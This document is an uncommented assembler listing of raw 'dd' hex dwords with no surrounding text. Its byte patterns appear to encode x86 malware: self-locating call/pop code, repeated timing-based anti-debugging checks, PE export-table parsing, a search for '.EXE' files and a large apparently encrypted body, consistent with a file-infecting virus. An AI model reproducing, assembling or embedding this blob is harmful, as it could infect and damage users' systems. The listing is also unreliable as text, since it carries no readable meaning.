dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 36D7FF2Dh, 0CA8B60EAh, 615BF553h, 8BF7B70Fh, 0A1B966C3h
dd 6AC08B44h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1B042444h, 40000000h, 140C350h, 0D471C9FAh
dd 83F569F7h, 481299BDh, 9750006h, 0D35BD83h, 74000648h
dd 8B535019h, 47AB8C0h, 85890000h, 6482FF9h, 0A4CB9D8Dh
dd 0D3FF064Ah, 0BD83585Bh, 6480D35h, 50177400h, 47AB853h
dd 85890000h, 6482FF9h, 0A16C9D8Dh, 0D3FF064Ah, 0DE8585Bh
dd 1B000000h, 0F4451808h, 3B23E42Fh, 6EB95786h, 0CE9h
dd 74081700h, 0B3323C11h, 63238C41h, 60F55E41h, 0F616060h
dd 0B561F2BFh, 0C08B61FEh, 13CE9h, 4Fh dup(0)
dd 0DDBD8300h, 1064809h, 55B840Fh, 8E90000h, 83000000h
dd 556A42Dh, 60B3D25Ah, 5820Fh, 81660000h, 0E992EAC8h
dd 14h, 0D0B3B3E4h, 669B002Fh, 0C4EE3E64h, 0FBA2216Ch
dd 2B75C4BDh, 0F985C661h, 4306480Fh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ch, 54C35343h, 0CFE29CF4h, 40177FC4h
dd 11E9FCh, 4A480000h, 7B22B6DEh, 8EECF10Fh, 5C079C87h
dd 0E845E1FCh, 4, 0ECA5D0F5h, 53DE8B60h, 5BF18B66h, 8A605061h
dd 448B61F5h, 52500424h, 665E5260h, 0F61C18Bh, 52506031h
dd 585A310Fh, 5A615853h, 0E9008B58h, 9, 8875EB84h, 2A361775h
dd 24448988h, 50525004h, 14E952h, 0DCC20000h, 0F281C1Bh
dd 57830D44h, 38CECF0Ch, 67E4B3E7h, 310F088Eh, 8E0Fh, 585A0000h
dd 6E9310Fh, 1C000000h, 68E6399Eh, 58585A80h, 12E860h
dd 0C72F0000h, 3ACAC64Ch, 0B700BBBEh, 455CFEDCh, 60EBD100h
dd 8B0Fh, 0F85F0000h, 81666061h, 0E8AD08F0h, 5, 0AB2471B9h
dd 6E82Ch, 90650000h, 9A0C3426h, 0FF615F5Bh, 4829A9B5h
dd 8E906h, 5B870000h, 0EDCEEAE6h, 858D43CBh, 64B7F60h
dd 0F5D0FFFCh, 5BD8589h, 0C6F80648h, 480FF985h, 68FC5006h
dd 0DA0295D9h, 52505250h, 310F5250h, 310F585Ah, 585A6160h
dd 5250310Fh, 310F6160h, 310F5250h, 585A585Ah, 3481585Ah
dd 0AF388F24h, 0F7816072h, 5E5591B6h, 61DAB70Fh, 29A9B5FFh
dd 0B1600648h, 78E0BA4Bh, 8D61365Fh, 4B7F6085h, 0FE906h
dd 15190000h, 0C886C289h, 27B70147h, 76FEB642h, 0E9D0FF9Bh
dd 6, 67EEF362h, 8589E2A8h, 6482FE9h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 17h, 80C35646h, 0E9B44A7Eh, 11h
dd 97E1DECFh, 6CF91A13h, 6897104h, 8964C7D7h, 0E30F68D3h
dd 12E9B891h, 31000000h, 0B7515698h, 662F2F7h, 5F99C23Ah
dd 6EB5C6E1h, 240481E3h, 37FDC520h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 18h, 25C35242h, 0D16931BCh, 18B0Fh
dd 0E9FC0000h, 12h, 0DE46E9DAh, 51F72CDAh, 0F94CB0E6h
dd 0D439CC9Eh, 0B5FFB4FFh, 64829A9h, 60858DF8h, 0F064B7Fh
dd 1781h, 12E900h, 0FA8B0000h, 4875AB5Bh, 0AAA30FDDh, 0A0637402h
dd 8D71404Dh, 0CE9D0FFh, 81000000h, 399E1C71h, 2D8068E6h
dd 8949FE93h, 48332585h, 85C6FC06h, 6480FF9h, 4E8F550h
dd 56000000h, 50979CDCh, 3FB96052h, 504D70FAh, 5A310F52h
dd 310F6158h, 61605250h, 6160310Fh, 585A585Ah, 0F525050h
dd 68Ch, 0F525000h, 0F585A31h, 2820F31h, 60000000h, 8B585A61h
dd 0F042444h, 0E87h, 0F525000h, 81h, 60310F00h, 8B585A61h
dd 0E880F00h, 50000000h, 890F52h, 0F000000h, 5A616031h
dd 24448958h, 0BA666004h, 0BF66D569h, 586107B5h, 0A8C0Fh
dd 0F600000h, 83h, 61C38B00h, 0B840Fh, 6E90000h, 41000000h
dd 0A1B88632h, 0D5B5FFC0h, 0E906480Eh, 8, 0B545BBF9h, 9F1F3FABh
dd 8850Fh, 830F0000h, 2, 858D6160h, 64838BAh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0E4C35545h, 6D5D31E8h
dd 890FAEE7h, 1Ch, 16840Fh, 11E90000h, 4E000000h, 0FF59CD98h
dd 0F4691AA3h, 45390FD3h, 82862C5Bh, 89F8D0FFh, 48171185h
dd 0DE906h, 0A9CD0000h, 0E4C3855Eh, 4292A877h, 0E934D1B3h
dd 17Dh, 525050FCh, 61605250h, 0AE9310Fh, 0CC000000h, 6D2F33AEh
dd 76EC99B1h, 0F585A49h, 50525031h, 5A310F52h, 0E9310F58h
dd 0Fh, 3EA96D57h, 4A0C04D9h, 0C590DAEAh, 5A9EA1EEh, 89585A58h
dd 8D0F242Ch, 0Ch, 7E9h, 6DAFFC00h, 569CA831h, 6660EC8Bh
dd 8B66F28Bh, 0C48361F7h, 55006AFCh, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 0E9927872h
dd 14h, 0FD135090h, 270D2085h, 6C59C8B8h, 0E7031C64h, 223DDD4h
dd 0CE96060h, 77000000h, 58196715h, 0D897B097h, 66BFD3A4h
dd 61FD82BEh, 0E8h, 0EA815A00h, 64D77ACh, 0FC45C7h, 83000000h
dd 4809DDBAh, 840F0106h, 98h, 6A006A52h, 0BD92FF0Fh, 5A064805h
dd 71D08289h, 9A8D064Dh, 64D71D4h, 2803C752h, 53000001h
dd 0E992FF50h, 5A06482Fh, 0D49A8D52h, 53064D71h, 71D0B2FFh
dd 92FF064Dh, 6481711h, 74C00B5Ah, 0D49A8D50h, 8D064D71h
dd 0C933247Bh, 104F981h, 0D4740000h, 393C8141h, 4558452Eh
dd 348DEE75h, 0C752B39h, 2C59BA8Dh, 4D8B0648h, 32A4F30Ch
dd 0FF52AAC0h, 828D0875h, 6482C59h, 2592FF50h, 5A064833h
dd 0A075C00Bh, 1FC45C7h, 0EB000000h, 0FC45C707h, 0
dd 0FC458B61h, 8C2C9h, 7E9F8h, 0BEC00000h, 54ECF7E1h, 8DD28B76h
dd 4D78FD8Dh, 891CB406h, 4814058Dh, 0F18B6606h, 302585C7h
dd 71600648h, 51600000h, 5FF98B66h, 5E8h, 34BE9D00h, 0C3807904h
dd 0C76158F0h, 482AD985h, 6, 0A99D0B00h, 0FF064814h, 4827D9B5h
dd 8E906h, 931F0000h, 3588B510h, 95FF4B2Eh, 6480E71h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0D5C35747h, 133D958Bh
dd 81660648h, 6AA553D2h, 2D95FF00h, 8B064809h, 0E51EEBC0h
dd 0C46238A3h, 0F2B08CE0h, 25BADD55h, 4FA80AC2h, 3D5CD6DCh
dd 786CCD7Dh, 4D88FDFCh, 0EE818h, 0ABDE0000h, 0ED44EFEEh
dd 2F3DC619h, 0F9A1857h, 5B9B501h, 0B75E0648h, 8DC6814Fh
dd 2B000066h, 480B0D8Dh, 29FF2B06h, 48004985h, 3734FF06h
dd 13860Fh, 0EE90000h, 0E7000000h, 81F3EBDAh, 7A3BB7F5h
dd 0D62A9CBCh, 958B5802h, 6482299h, 0B109E881h, 0BD89399Ch
dd 6481801h, 64D0F081h, 0FE93B7Fh, 99000000h, 8E34D847h
dd 0A4FCF17Fh, 0DED1FD47h, 0E8813473h, 1BDB8C25h, 0B899D29h
dd 3500648h, 48068D95h, 3E048F06h, 4FD9523h, 0B70F0648h
dd 2EF83CBh, 2EA59D8Bh, 4F4F0648h, 20218589h, 0FF810648h
dd 0FFFF9A44h, 11850Fh, 8D8B0000h, 6482F69h, 1AE9h, 8CB9A500h
dd 9FFEEBBh, 48168D95h, 0FF5FE906h, 0A5DCFFFFh, 0DE245E66h
dd 0E8D7F128h, 13h, 97818584h, 0EA3414B3h, 3D6E6704h, 80EF2AC7h
dd 665961AAh, 770AC281h, 0D98D8B5Eh, 81064828h, 6BB7C6h
dd 0D1BF0F00h, 0B8h, 3C8BF800h, 0CEBF0F06h, 1924C781h
dd 0BA665998h, 0F7811F3Bh, 1352E1C4h, 71B52360h, 8B06481Ch
dd 4827E58Dh, 0EF816106h, 1B6F3732h, 63C89F9h, 5260C88Bh
dd 0EDD858Bh, 15F0648h, 4812758Dh, 0E8816106h, 3BB90592h
dd 28E19D8Bh, 0C0810648h, 3BB9058Eh, 81FCCA80h, 0FF950CF8h
dd 1B850FFFh, 0F000000h, 30E9DFB7h, 48000000h, 7AD3F14Ch
dd 421FCCE4h, 0A4676AFEh, 0C7B50980h, 0BD893792h, 64809D9h
dd 0FFFF79E9h, 0DA5603FFh, 8FCFD3B4h, 72879432h, 10931FA3h
dd 8D3588B5h, 4D7B7E8Dh, 58D8906h, 0E9064814h, 0Eh, 0F6C3CFB7h
dd 0D874A1A4h, 1C80F15Bh, 85C7E39Fh, 6483025h, 6578h, 66F0B70Fh
dd 85C7C18Bh, 6482AD9h, 0
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 78C35242h
dd 0F04E443Ah, 8D89B3B3h, 6480ECDh, 0D3DB5FFh, 6A0648h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 8E2A84C3h, 0FF3E12D5h, 480E7195h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1504h, 0C3504000h, 0BD8B6A60h
dd 6480ED9h, 95FF006Ah, 648092Dh, 1BEBC08Bh, 6756A674h
dd 2F85F280h, 504066AFh, 596D0723h, 0FCD87FDFh, 8DD14A5Dh
dd 0E9DD77FFh, 266h, 0D98C6660h, 0F04C1F6h, 3584h, 0FF016A00h
dd 480ED5B5h, 60858D06h, 0FF064B7Fh, 958589D0h, 8B06481Bh
dd 0CEFC1FEh, 6000068h, 6A006A20h, 0D685702h, 0FF000100h
dd 481B9595h, 32E906h, 85C60000h, 6480FF9h, 30DF6856h
dd 0B5FFA9C5h, 64829A9h, 7F60858Dh, 0D0FF064Bh, 0C0D8589h
dd 858D0648h, 648093Dh, 6A406A50h, 95FF5605h, 6480C0Dh
dd 0C361h, 2 dup(0)
dd 8B520000h, 428B60D4h, 21858908h, 8B064D7Ch, 85890C42h
dd 64D7C19h, 8910428Bh, 4D7C1D85h, 57B58D06h, 8D064D7Ch
dd 5B7E3585h, 61D0FF00h, 0CC25Ah, 7C21B58Bh, 858B064Dh
dd 64D7C19h, 7C1DBD83h, 0F00064Dh, 784h, 0E9068900h, 2
dd 0CF0688h, 0
dd 52000000h, 8B60D48Bh, 85890842h, 64D7C21h, 7CA8B58Dh
dd 858D064Dh, 5B7E35h, 5A61D0FFh, 7C21858Bh, 4C2064Dh
dd 21858B00h, 8B064D7Ch, 21858900h, 0CF064D7Ch, 0
dd 7EB58960h, 89064D7Ch, 4D7C7A85h, 45858D06h, 8B064801h
dd 85894440h, 64D7CB7h, 7CEDB58Dh, 858D064Dh, 5B7E35h
dd 8B61D0FFh, 4D7C7E85h, 9D8BC306h, 64D7C7Ah, 3C43B70Fh
dd 5B8BD803h, 7A9D0378h, 8B064D7Ch, 0B5032473h, 64D7C7Ah
dd 207B8B56h, 31C738Bh, 4D7C7ABDh, 7AB50306h, 0FC064D7Ch
dd 41FFC983h, 7C7E9D8Bh, 178B064Dh, 7C7A9503h, 0C783064Dh
dd 84028A04h, 0F840FC0h, 3A000000h, 0DC850F03h, 43FFFFFFh
dd 0FFE7E942h, 33AFFFFh, 0FFCD850Fh, 0D15FFFFFh, 4B70FE1h
dd 86048B0Fh, 7C7A8503h, 8589064Dh, 64D7C7Eh, 0CE8BF08Bh
dd 0BD81C18Bh, 64D7CB7h, 0C0300000h, 0D850Fh, 0E8C10000h
dd 0FFC2514h, 8E90000h, 0C1000000h, 0F82512E8h, 8B00003Fh
dd 4D7CB7BDh, 70C8306h, 7148B06h, 8124C28Bh, 0C18B813Ch
dd 57840Fh, 0BD810000h, 64D7CB7h, 0C0300000h, 0D850Fh
dd 0E8C10000h, 0FFFC250Ah, 8E9003Fh, 0C1000000h, 0F82509E8h
dd 2D007FFFh, 40000000h, 0F7060883h, 8000h, 1E840F00h
dd 81000000h, 4D7CB7BDh, 30000006h, 0E840FC0h, 25000000h
dd 3FF8h, 808Bh, 883C060h, 858DCF06h, 64D7C25h, 28F98589h
dd 858D0648h, 64D7CBBh, 318589h, 858D0648h, 64D7C82h, 1CC18589h
dd 5CE90648h, 3B000001h, 0C1F0581Dh, 0B1964049h, 3B0A525Ah
dd 0F8535954h, 930A5A54h, 9F53515Ah, 8E3A7A73h, 23532826h
dd 79C40827h, 9D60BC7Bh, 87526FB4h, 97531E16h, 0DF531E17h
dd 0EB531E16h, 0F7531E16h, 0FB531E16h, 0D2531E16h, 0FE531E16h
dd 77531E16h, 0BF531E16h, 8C531E16h, 8A276D6Fh, 0A7731E7Bh
dd 9E307164h, 0FD0E6D65h, 0FE531E16h, 7F531E16h, 0BF531E16h
dd 0DF531E16h, 0EF531E16h, 0F7531E16h, 0FB531E16h, 0FD531E16h
dd 0FE531E16h, 7F531E16h, 0BF531E16h, 0DF531E16h, 0EF531E16h
dd 0F7531E16h, 0FB531E16h, 0FD531E16h, 0FE531E16h, 7F531E16h
dd 0BF531E16h, 0DF531E16h, 0EF531E16h, 0F7531E16h, 0FB531E16h
dd 0FD531E16h, 0FE531E16h, 7F531E16h, 0BF531E16h, 0DF531E16h
dd 0EF531E16h, 0F7531E16h, 0FB531E16h, 0FD531E16h, 0FE531E16h
dd 7F531E16h, 0BF531E16h, 0DF531E16h, 0EF531E16h, 0F7531E16h
dd 0FB531E16h, 0FD531E16h, 0FE531E16h, 7F531E16h, 0BF531E16h
dd 0DF531E16h, 0EF531E16h, 0F7531E16h, 0FB531E16h, 0FD531E16h
dd 0FE531E16h, 7F531E16h, 0BF531E16h, 0DF531E16h, 0EF531E16h
dd 0F7531E16h, 0FB531E16h, 0FD531E16h, 0FE531E16h, 7F531E16h
dd 0BF531E16h, 0DF531E16h, 7531E16h, 0E90E9C5Eh, 1724h
dd 4D816068h, 0C924E906h, 5B68FFFBh, 0E9064D82h, 0FFFBC91Ah
dd 4D831368h, 0C910E906h, 0D968FFFBh, 0E9064D83h, 0FFFBC906h
dd 4D858568h, 0C8FCE906h, 0DC68FFFBh, 0E9064D86h, 0FFFBC8F2h
dd 4D878468h, 0C8E8E906h, 4A68FFFBh, 0E9064D88h, 0FFFBC8DEh
dd 4D8A8768h, 0C8D4E906h, 9F68FFFBh, 0E9064D8Bh, 0FFFBC8CAh
dd 4D8C4F68h, 0C8C0E906h, 0E668FFFBh, 0E9064D8Ch, 0FFFBC8B6h
dd 4D8E3468h, 0C8ACE906h, 0EE68FFFBh, 0E9064D93h, 0FFFBC8A2h
dd 4D950968h, 0C898E906h, 555EFFFBh, 0C1D9C78Bh, 454F4901h
dd 0D0B7D199h, 733E5810h, 0CBB421A9h, 32BE6E2Bh, 0B8301094h
dd 0D4D971Eh, 91D91D83h, 4926A1C9h, 0AC73D7FFh, 117708CDh
dd 297AE56h, 0B4166B93h, 0C6029806h, 0BCE0EB8Ah, 75BAF18h
dd 14B68F52h, 72CE1A6h, 636B73D2h, 0BD83BF4Dh, 4F299E38h
dd 0CC000000h, 9D316590h, 3357AFF3h, 0C8A015F7h, 52620F1Fh
dd 33B44C8Fh, 73D27262h, 3EB02587h, 0F77008ACh, 73D27226h
dd 0BA7479C3h, 25FFA4EAh, 721AF7B0h, 355D73D2h, 0FFFD296Bh
dd 54E680EDh, 0BAFFF73Ah, 891B1533h, 9E383C7Dh, 0DFD7h
dd 11779E00h, 0CBDFC1D5h, 0A88460Fh, 711F5D8Fh, 15E1EF2Bh
dd 90DE0E8Bh, 810787CEh, 226F3145h, 34EAF4FAh, 9A24AA6Eh
dd 2A619D3h, 0F3759A7Bh, 0F45055ADh, 0ED99E4C6h, 6390C3C1h
dd 46A7CFA9h, 850BF5B5h, 6809BE63h, 8D759AF5h, 0A01C5133h
dd 36A46026h, 7C10444Fh, 52CCDFCBh, 0D1D4728Fh, 4021A90Bh
dd 0FA6D0135h, 891C78BDh, 0E0AEC698h, 0A2EFB1A1h, 789C7D7Ah
dd 0E7797598h, 4E4B5505h, 7AEE3F9Eh, 0AA200225h, 148403h
dd 0BC6C1700h, 0CA0E923Ch, 429E1886h, 0D91B800Eh, 528AF791h
dd 0E202631Eh, 6B7565A7h, 0D5F3FF2Bh, 5A4474D0h, 0F0C88044h
dd 0FE8E6FD8h, 0E6B73D7h, 1CA081C9h, 5FCDD0EFh, 2465696Ch
dd 0B8EEE8E0h, 45A47C7Ch, 2DBE4260h, 7C1DCA3Fh, 99759AC9h
dd 0C77065C7h, 4CFB6590h, 759A7FAFh, 7E16F04Ah, 526259C9h
dd 4A62FC8Fh, 726435B2h, 3F8173D2h, 4E03F8B6h, 8373D272h
dd 997C501h, 481C5292h, 859D4678h, 0ADD96B45h, 79E38C4h
dd 0A5h, 0D511772Eh, 6CB8F9E7h, 7B13B96Eh, 0BCE2759Ah
dd 30567078h, 7BE8893Eh, 0B30D759Ah, 7BCFAC1Bh, 902A759Ah
dd 0D2FDB836h, 4C77CB2Dh, 9A12FA9Bh, 604D1F75h, 64C66803h
dd 2FF39750h, 0B05E8F52h, 87A614F4h, 64BA3E78h, 836DCFC9h
dd 671B26CFh, 0F6A8984Fh, 0F749891Ch, 14F0B1DFh, 0AD7F3AA4h
dd 25F729C0h, 2E8F4D02h, 1389h, 31B96B2Ch, 0BB37F397h
dd 34F9B1Dh, 8AC61E85h, 135F8D0Ch, 0B8F91966h, 22626C6Ch
dd 0A9ECEAE6h, 4B517F73h, 0D3FBC38Fh, 0D7FD8714h, 0CE076273h
dd 9ED20A77h, 626EAAF0h, 0E91177CDh, 517F7DADh, 492BF555h
dd 3DDA8D25h, 0D8759A7Fh, 79F4F06h, 8AC01C99h, 8B11BD30h
dd 9273034Fh, 31467762h, 0A8683010h, 9D0787CEh, 178D0B41h
dd 7A409FD3h, 0B795147Ah, 284C773Eh, 8E07C384h, 902A8F52h
dd 0A0C39F20h, 0DEE9785Ch, 3D5512BAh, 987E90A7h, 0E2ED88C6h
dd 107E16BEh, 0BA044A96h, 28F97233h, 9A2478DDh, 32F6ACF2h
dd 4E8A10BEh, 0E6D942EFh, 0C7F664F3h, 12D1h, 0E9E12364h
dd 737FBBEFh, 0FBF75355h, 420EC6DDh, 0CB874544h, 7031D1DEh
dd 0FABA2494h, 6124A22Eh, 0F3A937BBh, 8B23BB37h, 0D7FC3FDCh
dd 16DFDA73h, 0F592A081h, 96499756h, 626B35EFh, 0D4DE267Ch
dd 9E784208h, 762A55D0h, 0D0D1E95Eh, 0AA348F52h, 26E2B826h
dd 0A2C2CDA8h, 0D69125E7h, 73D2E039h, 0CA002DCh, 216EE85Bh
dd 1FB70989h, 0E3EF2B71h, 0D9098D13h, 0A5814BFCh, 2EA74EEAh
dd 0B03EFAA0h, 10F8BAE4h, 0A406B494h, 244994DAh, 8BCEEA6Ah
dd 0C7AE2781h, 73F498BCh, 8F6CB0D0h, 0D9C7EF71h, 216F07C3h
dd 7A36BF7Bh, 0CC82465Ch, 5B461E29h, 0D88F2781h, 891A70A6h
dd 0F904E17Bh, 15022771h, 120B16A7h, 0E5AE0000h, 7129B73Bh
dd 159F39B1h, 800781C9h, 38E0840h, 9BE491D9h, 0E2EE3E7Bh
dd 6860A0E4h, 0FDFD276Eh, 4109CDD3h, 0F9965179h, 1C73D7FCh
dd 0A77589Dh, 83FCB9EEh, 714ED7Ch, 0DD9D7FD9h, 6C26E445h
dd 34D1617Ah, 0ABCFFA81h, 0B43E4403h, 1DB8F52h, 0B97D236Dh
dd 465C7A34h, 0DAC0CE82h, 6C28761Eh, 29AC3EBCh, 0D185B075h
dd 9D2C0ABDh, 77C9891Ah, 231D6D79h, 0B2DA1E84h, 797CB4ECh
dd 0AFD3FE87h, 67216F07h, 2D7532BBh, 2E8F5296h, 0F6E42460h
dd 99EDE1D4h, 0D286412Eh, 0B81AA473h, 0C26F3514h, 0A17FD641h
dd 0D2094926h, 0B012AC73h, 0EBB5413Dh, 99454FB7h, 0A62F89D3h
dd 28A66238h, 0BD33F5AAh, 248881Fh, 0F75C52B2h, 4D533DE9h
dd 58D3500Ah, 41233E0Ch, 2C3CB10Bh, 0B0679212h, 8EC1208h
dd 5165C733h, 1ACD7096h, 11927389h, 37EDA8E6h, 7D65C2D6h
dd 0F4E44678h, 7A70B4EAh, 9AE3C885h, 4B65A175h, 961EE6BCh
dd 0D8BA044Ah, 5490F690h, 43BF8E66h, 9FDFA501h, 2954DB92h
dd 0AA6B08BFh, 3C8E759Ah, 0FD8D3A52h, 188F52B4h, 0C3D0A46h
dd 264EF21Dh, 212A8AA1h, 8CBC8D89h, 0DC9DFC2h, 44223920h
dd 0B0258745h, 8608AC3Eh, 308AC01Ch, 0F8FD2F6Ah, 996722FCh
dd 308AC01Ch, 0F48C1856h, 9F67A273h, 0F0E54775h, 9F675A37h
dd 11457075h, 0E957CA7Dh, 68F68F6Ch, 7D11F329h, 1498D13h
dd 0B1C50187h, 19C1AE19h, 0A62473D2h, 16A826E2h, 0D6A720B4h
dd 3373D219h, 6C6A24A9h, 0E91EFF2Dh, 39046F18h, 105F3AB3h
dd 0B1F20000h, 257D1B57h, 0A1E3EDEDh, 346B7565h, 0D7D2FCFCh
dd 2F484575h, 561AC2CFh, 0DC9C4C48h, 0A129F3B2h, 35A56127h
dd 0AD4AFD95h, 4873D7FAh, 0A77E429h, 0D1D4BAD2h, 17E4630Bh
dd 0F2759A7Fh, 0DBAB6568h, 5F16EEB5h, 8667693Fh, 0A62384EDh
dd 1FFCFB69h, 0FA759AFCh, 0CAC88660h, 985A10D4h, 0CFD5724Ch
dd 7B3D630Bh, 6AAAF1AFh, 182AA963h, 0B298704Ah, 141h, 2AA08145h
dd 83ECEE45h, 0FAA02EA7h, 8C12B03Eh, 56610048h, 0A9DD8A22h
dd 448F529Ch, 520FF4FAh, 1573D29Ch, 5D69FB35h, 369E3826h
dd 0F9F72D68h, 34D7EEE7h, 0C1000000h, 420BD7DFh, 0D6590F5h
dd 49135989h, 200C7EFh, 0A78F5262h, 2AA07C39h, 518B0A90h
dd 0E9E7411Bh, 0D2725932h, 3E1E73h, 38C44062h, 0B0EA9Eh
dd 818D0000h, 0D44A921Fh, 5F7F76D2h, 0C1CF8D49h, 0D87004C0h
dd 9A7F8E6Fh, 9CD16B75h, 6FEA422h, 0B517459Fh, 0A1E7E5EBh
dd 238D5D59h, 883FD7AFh, 759A7FEBh, 0A3EEBC0Eh, 29B37479h
dd 0D8759A7Bh, 0AB4A06C2h, 6FD8FCA0h, 8F54DA43h, 0CD8A10BEh
dd 366883A6h, 511FF9CEh, 0B87502C5h, 0CE9073D0h, 0A4EA826Ch
dd 429A1BE5h, 0A3EEE8E0h, 0B95D9C79h, 3BB1046Dh, 0F08B2h
dd 38E8AB00h, 0B67216B0h, 0CE1A9C3Ah, 459F0482h, 0DE0E8B15h
dd 6686E792h, 0EFE9E13Bh, 69777BA7h, 0DEF8F02Ch, 7C4C0CC8h
dd 0F9029354h, 9AE773D7h, 0D20A7755h, 6EAAF09Eh, 1177CD62h
dd 0A3F9E7D5h, 376D6B67h, 0D38FDF3h, 5CAD4569h, 0C5A9E407h
dd 0C588FBh, 8F52A542h, 2495C567h, 78Fh, 0D20A77F3h, 5C322BAh
dd 2853871Fh, 37F081C6h, 74F3759Ah, 759A37A7h, 0A832F842h
dd 0D9B26925h, 0F3759A37h, 470094C8h, 8F69B9F4h, 7D234B15h
dd 0E1EFE327h, 53717FBBh, 10D4CA56h, 4872D7B6h, 0D684046Ah
dd 0E60E7h, 50B0F300h, 0EE2A7E18h, 66A2E4E2h, 0FD376C6Ah
dd 76D6D3FDh, 0CE2E4F7Ah, 375119C3h, 0B1DF934Fh, 26A028F4h
dd 9434A460h, 0F8AA4BFCh, 224F73D7h, 0D20A77EDh, 0D4A522BAh
dd 21759A7Fh, 6FF1BF7Bh, 762CAA66h, 89E3CB2h, 646AB6F0h
dd 70F2F85Ah, 178D1A14h, 0CAF49FD3h, 609870C9h, 0Dh, 65BBAE17h
dd 4736759Ah, 0FFFFFE0Dh, 7FFDAE0Eh, 0ACD7759Ah, 0D863E488h
dd 398F69F1h, 8DC3079Bh, 533D5133h, 0E5C7F551h, 17916D1h
dd 0C29C73D7h, 8C5DF58Bh, 0C74D5E43h, 9B034A19h, 0F989C105h
dd 0BB31ED97h, 7C22AC21h, 836232B8h, 0A4164214h, 811F15h
dd 813496C4h, 0ED489C1Dh, 46AA27Ah, 9A972694h, 3D00000Dh
dd 0B826AA7Ah, 2EA820E0h, 9630B864h, 1DBB37F1h, 9500489Ch
dd 538908E8h, 0D535711Fh, 62BAFBE5h, 0FE3A606Eh, 5C2EAF2h
dd 73D7F774h, 77DF1091h, 0F9E7D511h, 0CF6967A3h, 8006A19Fh
dd 276E3044h, 9F04F8FDh, 9870C963h, 0DC9h, 0BBAEEC00h
dd 36759A65h, 0FFFD5847h, 1F810EFFh, 0D7137797h, 8EB94075h
dd 5505C2EAh, 968F524Eh, 4FA849FEh, 0F34D73D2h, 747AC4FAh
dd 0D24FD38Fh, 92FC9473h, 25873517h, 0C9E90B0h, 9E38F5F2h
dd 22458h, 1F811F00h, 0AE6E4F8Bh, 32B5E2FBh, 9F804508h
dd 0E759AD6h, 0B3772D7Dh, 50B913Fh, 9AD6B542h, 9F00FF75h
dd 0B29CFF62h, 0EC8062FCh, 1BFD151Dh, 31A43DF5h, 0CC4D867Dh
dd 2B70759Ah, 0A4E5E3E9h, 0B0AC6A60h, 6901D57Eh, 29A76327h
dd 538F0997h, 3A0A431Dh, 890B9504h, 29711F5Dh, 58460FE9h
dd 3ACA8642h, 0CC5425A2h, 2FB1759Ah, 83B7DFA6h, 21D9CFCDh
dd 97DBA565h, 19579309h, 9ACC79A2h, 0C0FEDE75h, 1EC6CFD1h
dd 0E1660E50h, 759ACC10h, 79626BF5h, 9870764Dh, 188E7h
dd 1F818E00h, 9C024B97h, 0E8CC206h, 0A0385C98h, 9A7F5627h
dd 0A429B375h, 0B7618E8h, 0EA159CD1h, 88763635h, 414504B6h
dd 31452781h, 52A64CB6h, 511FA18Fh, 0D2A631EAh, 58567673h
dd 381CB8CAh, 4F129Eh, 81250000h, 349951Fh, 88C61E85h
dd 9A615436h, 0BA3CB6Fh, 0A0B19273h, 705E81F7h, 9A28A273h
dd 0C1D94775h, 0BCF9A701h, 1D506A60h, 5235BAA8h, 35711F8Fh
dd 7BC5E7D5h, 9E564D53h, 0EFA067D7h, 0A873D225h, 0C2FC8EA0h
dd 689E3893h, 0CEh, 0D511770Fh, 6CB8F9E7h, 0FE3A606Eh
dd 0C2CCD2F0h, 9A7F7405h, 0B3F39175h, 6A17F557h, 0C0A23CB2h
dd 0C25314ACh, 88759A7Fh, 39AC3368h, 20BA701Fh, 7D23F3ADh
dd 0DFE1EF3Bh, 86B9AAFEh, 0E1D44A59h, 9AFF0424h, 57AFF575h
dd 1DD5CD2Dh, 0C1A30D5Fh, 0B9DDE889h, 6E085215h, 6BF58F54h
dd 885C5D43h, 2CF8BAE4h, 0BE7A20AEh, 89CCAE30h, 1CC8C9D7h
dd 6D6FDCB1h, 7578F604h, 0B5Dh, 6555B7F0h, 0EFE3277Bh
dd 777BA7E1h, 0FEF23269h, 470BD1D0h, 0CCCD2D4Ah, 4E365018h
dd 0F5B0DE92h, 7F25A32Fh, 0FF9737BBh, 0D7F5AB48h, 0EA234E73h
dd 20510A77h, 0A07C395Ch, 0C0384D45h, 45404E66h, 7C1AD69Fh
dd 16EEE226h, 0B9EF0988h, 836D7F7Dh, 11776DCAh, 0D2DFC1D5h
dd 3010940Ah, 0DDC3C1BDh, 37A57D25h, 3687CB95h, 3D7h, 0B9374F9Eh
dd 322F8B89h, 86CFA973h, 4150C6B1h, 0FD6A0236h, 8F69F147h
dd 35AC04A6h, 0EF3E560Ah, 0C5A9D357h, 8C30B9Bh, 5458D9CDh
dd 0BA2DC38Ah, 891FF704h, 85115FE1h, 98B744A4h, 2CA1870Eh
dd 9F92A67Bh, 19B1E175h, 86BC12C8h, 696E18D3h, 759F2888h
dd 4A9AD36Dh, 92D4D674h, 27BF9875h, 9F20D3A0h, 0F6943675h
dd 46185692h, 316B80Fh, 0AE7F0000h, 759A7FFDh, 9A7F07E9h
dd 0B2E61175h, 0AB65CB1Ah, 0C5CE97h, 59A426E5h, 5064B231h
dd 9A3E0697h, 1459E375h, 3BD3CB7Ch, 0D4768F52h, 6F3AB209h
dd 27964404h, 0A45h, 7D7DAFE8h, 0C78B4F53h, 4F03DFD9h
dd 0D69A5A41h, 5F13C9C8h, 0E4A54522h, 662EA820h, 0EDA836BAh
dd 871DBB37h, 17BF0F43h, 0D7F4C350h, 925B2673h, 0E7D51177h
dd 274FF31Eh, 2CD5BE8Fh, 0AB0D061Bh, 0B9CA6522h, 912B8F69h
dd 92D58D9h, 0C7B7E265h, 34968924h, 6AB6FEA0h, 36B4A166h
dd 0E0EE759Ah, 0ECA836BAh, 36F2A8F6h, 0D0A126B8h, 35759A36h
